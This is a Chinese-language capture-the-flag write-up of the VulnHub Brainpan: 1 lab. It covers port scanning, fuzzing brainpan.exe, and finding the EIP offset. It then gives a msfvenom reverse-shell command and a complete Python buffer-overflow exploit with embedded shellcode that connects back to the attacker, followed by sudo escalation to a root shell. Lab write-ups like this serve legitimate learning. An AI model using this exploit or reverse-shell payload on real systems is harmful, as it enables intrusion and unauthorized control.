VulnHub-Brainpan: 1 靶场渗透测试
时间:2021.3.2
靶场信息:
地址:https://www.vulnhub.com/entry/brainpan-1,51/
发布日期:2013年3月20日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测结果可知,靶机的IP为192.168.137.144
2、扫描开放的端口和服务
nmap -sS -sV -T5 -p- 192.168.137.144
得到开放的端口信息:
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
3、网站信息收集
由于靶机的10000号端口开放了http服务,所以我们先访问看看
没看到有什么东西,用dirb目录爆破一下,就找到了一个bin目录
发现一个可执行文件,我们将其下载到本地
然后使用file命令检查分析该文件,发现它是一个32位Windows可执行文件,将其下载到windows机器上,再用immunity debugger打开brainpan.exe文件并运行
创建一个简单的fuzzer python脚本,以发送字符串来尝试使程序崩溃
输出字符串到windows机器的exe文件中
得知字符串会导致程序崩溃,我想确切地确定它崩溃的位置并覆盖EIP(在这种情况下,它是61616161,而ascii小写字母’a’是十六进制的,所以它表示aaaa),在python脚本有效负载中替换字符串,插入一串唯一的字符,要创建一串唯一的字符,可以使用metasploit工具“ pattern-create”来创建一个唯一的1000个字符的字符串
将其添加到脚本中作为有效负载
这次运行它时,确切地看到它崩溃的位置以及用来覆盖EIP的内容,可以看到它用35724134覆盖了EIP,知道字符在1000个字符的字符串中的某个位置,需要确切的知道它,可以使用metasploit
修改下ptyhon脚本
看到EIP已被62626262(bbbb)覆盖了,注意确保增加区域的大小以容纳反向shell代码,需要将c的数量调整数值,右键单击ESP寄存器并选择“ follow in dump”,可以看到所有写入内存的’c’字符。起始地址是005FF910,向下滚动查看,可以看到写’c’的结束地址是005FFAE8
现在需要检查包含在shellcode中的“坏字符”
然后重新运行看不到任何丢失的字符,可以使用所有字符(\ x00为空字节除外)
需要跳转到堆栈,就需要找到指令“ jmp esp”的地址,地址为311712F3
使用msfvenom创建我的反向shell有效负载
msfvenom -p linux/x86/shell_reverse_tcp -b "\x00" LHOST=192.168.137.150 LPORT=666 -f python
import sys,socket
victim = '192.168.137.144'
port = 9999
junk = "\x41"*524
eip = "\xf3\x12\x17\x31"
shellcode = "\x90" * 50
buf = ""
buf += "\xda\xcd\xba\x11\xe7\x27\xad\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x12\x83\xe8\xfc\x31\x50\x13\x03\x41\xf4\xc5"
buf += "\x58\x50\x21\xfe\x40\xc1\x96\x52\xed\xe7\x91\xb4\x41"
buf += "\x81\x6c\xb6\x31\x14\xdf\x88\xf8\x26\x56\x8e\xfb\x4e"
buf += "\xa9\xd8\x75\x18\x41\x1b\x86\x26\x08\x92\x67\x96\x4a"
buf += "\xf5\x36\x85\x21\xf6\x31\xc8\x8b\x79\x13\x62\x7a\x55"
buf += "\xe7\x1a\xea\x86\x28\xb8\x83\x51\xd5\x6e\x07\xeb\xfb"
buf += "\x3e\xac\x26\x7b"
payload = junk + eip + shellcode + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[-] Connecting to " + str(victim)
s.connect((victim, port))
s.recv(1024)
# Send payload
print "[-] Sending payload.... ",
s.send(payload)
print "Done"
except:
print "[-] Unable to connect to " + str(victim)
sys.exit(0)
运行脚本之后,就可以反弹shell了
意思是可以选择一个执行,第三个后面的参数可以跟一个命令
已经以sudo(以root身份)运行了整个程序,然后如果我入!/bin/sh,它将在此目录中以root身份运行一个shell
总结
碰到了很多新知识,缓冲区溢出、栈溢出、调式、exp编写等等。